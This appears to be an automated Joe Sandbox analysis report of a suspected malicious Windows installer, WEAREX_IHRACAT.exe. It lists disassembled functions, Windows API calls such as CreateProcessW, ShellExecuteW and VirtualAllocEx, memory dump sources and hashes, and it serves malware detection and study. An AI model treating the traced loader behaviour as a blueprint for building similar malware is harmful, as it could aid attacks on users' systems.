Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: 14F09676600204BFDB008F55DC05A9B77B8EB91710F10803AE900F7181E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405192: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000,?), ref: 004051CA
Part of subcall function 00405192: lstrlenW.KERNEL32(00402D92,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000), ref: 004051DA
Part of subcall function 00405192: lstrcatW.KERNEL32(004216B0,00402D92,00402D92,004216B0,00000000,00000000,00000000), ref: 004051ED
Part of subcall function 00405192: SetWindowTextW.USER32(004216B0,004216B0), ref: 004051FF
Part of subcall function 00405192: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405225
Part of subcall function 00405192: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040523F
Part of subcall function 00405192: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524D

Part of subcall function 00405663: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 00405688
Part of subcall function 00405663: CloseHandle.KERNEL32(?), ref: 00405695

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 18e729e9311eced89f74fef4852527ff5c4aaa679bc8a991e6a2a0c3759d6c3f
Instruction ID: 8e91623f4638d025a4933f87a40467008e120c5c7d6e9a438bfd220985abd326
Opcode Fuzzy Hash: 18e729e9311eced89f74fef4852527ff5c4aaa679bc8a991e6a2a0c3759d6c3f
Instruction Fuzzy Hash: 5D11A131D00204EBCF109FA1CD859DE7AB5EB04315F60443BF905B62E0C7794A92DF9A

Function 00405663 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 00405688
CloseHandle.KERNEL32(?), ref: 00405695

Strings

Error launching installer, xrefs: 00405676

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: 4b20dbd08d60de92207ac43a38ffec0a38bd3943f5c764e36e0fdac2018f49d3
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 2DE0ECB4A01209AFEB00DF64ED4996B7BBDEB00744B908921A914F2250E775E8108A79

Function 00403324 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617C: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061DF
Part of subcall function 0040617C: CharNextW.USER32(?,?,?,00000000), ref: 004061EE
Part of subcall function 0040617C: CharNextW.USER32(?,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061F3
Part of subcall function 0040617C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00406206

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00403345

Strings

1033, xrefs: 0040334C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403325, 0040332A, 00403330, 0040333C, 00403344, 0040334B

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2414109610
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 83aabcaf15b65d6ee402870331ad2dcb86c8daa90b7dc9f7dbfd98a18550c494
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 92D0A921006830B1C54232263C02FCF192C8F0A32AF12A037F808B40D2CB3C2A8284FE

Function 00406972 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25c19981d6431e8b6504c86e3d36571f05d32f9c4d6ef30975c92d2472a0c349
Instruction ID: 94fbdcceb26da600dda965ba42e87acb8ed5f49c48e72c46c8f329f18f478b7c
Opcode Fuzzy Hash: 25c19981d6431e8b6504c86e3d36571f05d32f9c4d6ef30975c92d2472a0c349
Instruction Fuzzy Hash: 31A13271E00229CBDF28CFA8C8446ADBBB1FF48305F15856AD856BB281C7785A96DF44

Function 00406B73 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3766fcc43a35146534180fe50cf406296b6785291f9f3299779e5b45503f68
Instruction ID: 161b61abd2ed0806a8baee45b40892b28aad2ec91d5fdb0f87a4ef8c893441ab
Opcode Fuzzy Hash: 8a3766fcc43a35146534180fe50cf406296b6785291f9f3299779e5b45503f68
Instruction Fuzzy Hash: 33911370E04228CBEF28CF98C8547ADBBB1FF44305F15816AD456BB291C7785A96DF48

Function 00406889 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c42853a32206905810bd8048e1d6ceebf45b2d252ac2728cb8e02827b832ba72
Instruction ID: 72176883cd04ce23c5606ed187e212a481aff986895f719837de05734152d470
Opcode Fuzzy Hash: c42853a32206905810bd8048e1d6ceebf45b2d252ac2728cb8e02827b832ba72
Instruction Fuzzy Hash: C2813471E00228CBDF24CFA8C844BADBBB1FF44305F25816AD416BB281C7789A96DF45

Function 0040638E Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6405766d724d27084044e37e785a1f94a30cbcf56bd7ff567fed44530e351a1e
Instruction ID: 37bedb047a1cdcb2186193905b10d92141f0d7a21aac59a3988bc0e8c58e701c
Opcode Fuzzy Hash: 6405766d724d27084044e37e785a1f94a30cbcf56bd7ff567fed44530e351a1e
Instruction Fuzzy Hash: 8A816671E04228DBDF24CFA8C844BADBBB0FF44305F12816AD856BB281C7785A96DF44

Function 004067DC Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ef0d9740ae038a8700c90815a4bac2310ce85d94378c09e9285f29a5b1266c
Instruction ID: 06582d6994b983150c25b1790107e31aec949b245444a1a6456fb9016973e262
Opcode Fuzzy Hash: 07ef0d9740ae038a8700c90815a4bac2310ce85d94378c09e9285f29a5b1266c
Instruction Fuzzy Hash: 33711371E00228DBDF24CFA8C844BADBBB1FF48305F15816AD416BB291C7789A96DF54

Function 004068FA Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 838ad3f0a74fca8ca0f26d7184924b2d6b4186cf9befafd24d8ae0a2e0a940ed
Instruction ID: ebc9a81060a596ad431c80b1d1758c5c700cdc7d234e992f1b297214c353d564
Opcode Fuzzy Hash: 838ad3f0a74fca8ca0f26d7184924b2d6b4186cf9befafd24d8ae0a2e0a940ed
Instruction Fuzzy Hash: 19713371E00228CBDF28CF98C844BADBBB1FF44301F15816AD416BB281C7789A96DF48

Function 00406846 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb0a1ab262dbfe5b79260f2545764b46d6ae021e846cd0a1f08f667ae3f5093
Instruction ID: 9ba1edbe5cfe128ed99381d9e4cb31fcf1809be200f9a36a9650a2a134254892
Opcode Fuzzy Hash: 1fb0a1ab262dbfe5b79260f2545764b46d6ae021e846cd0a1f08f667ae3f5093
Instruction Fuzzy Hash: D8713571E00228DBDF28CF98C844BADBBB1FF44305F15816AD456BB291C7789A96DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405192: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000,?), ref: 004051CA
Part of subcall function 00405192: lstrlenW.KERNEL32(00402D92,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000), ref: 004051DA
Part of subcall function 00405192: lstrcatW.KERNEL32(004216B0,00402D92,00402D92,004216B0,00000000,00000000,00000000), ref: 004051ED
Part of subcall function 00405192: SetWindowTextW.USER32(004216B0,004216B0), ref: 004051FF
Part of subcall function 00405192: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405225
Part of subcall function 00405192: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040523F
Part of subcall function 00405192: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524D

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 580077ccb1ff2a490d41d938ec1f3e7129ee5ad0d62a559f02f0fa6a839ffa7c
Instruction ID: 49947657582026fbe4aef0e17b19bc3bf563a4cedc03dc09487ed5c70e3121f8
Opcode Fuzzy Hash: 580077ccb1ff2a490d41d938ec1f3e7129ee5ad0d62a559f02f0fa6a839ffa7c
Instruction Fuzzy Hash: B521C871904215F6CF206F95CE48A9E7AB0AB09354F70427BF610B51E0D7B94D41DA6E

Function 00402452 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C42: RegOpenKeyExW.KERNELBASE(00000000,0000016D,00000000,00000022,00000000,?,?), ref: 00402C6A

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402481
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402494
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AA

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 00823af30153f19d1c00257d08f7837de8e40deeac5670c34b227309e645baf3
Instruction ID: 196cef28da363d1279e483bf9a38a563a29f189f24dbcf66659da751fa440e39
Opcode Fuzzy Hash: 00823af30153f19d1c00257d08f7837de8e40deeac5670c34b227309e645baf3
Instruction Fuzzy Hash: 87F0D1B1A04205ABE7108F65DE88ABF766CEF40358F60443EF405B21C0D6B85D419B6A

Function 00401DF3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Users\user\gangningerne\jot\mtn\Discomplexion,?), ref: 00401E3D

Strings

C:\Users\user\gangningerne\jot\mtn\Discomplexion, xrefs: 00401E26

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\gangningerne\jot\mtn\Discomplexion
API String ID: 587946157-462110826
Opcode ID: ce694bb9da72e087ba61a13a25ec697da31c5eed5f00b2d5c9ac6c29772317e6
Instruction ID: 3f653c9cfcf7a787dcf128efd04e0ef48ce3664fdda10e2cbb7d118b60988be6
Opcode Fuzzy Hash: ce694bb9da72e087ba61a13a25ec697da31c5eed5f00b2d5c9ac6c29772317e6
Instruction Fuzzy Hash: 5EF0F675B54200ABDB006FB5DD4AE9E33B8AB24715F600937F401F70D1D6FC88419629

Function 10002870 Relevance: 3.2, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 1000292F
GetLastError.KERNEL32 ref: 10002A36

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

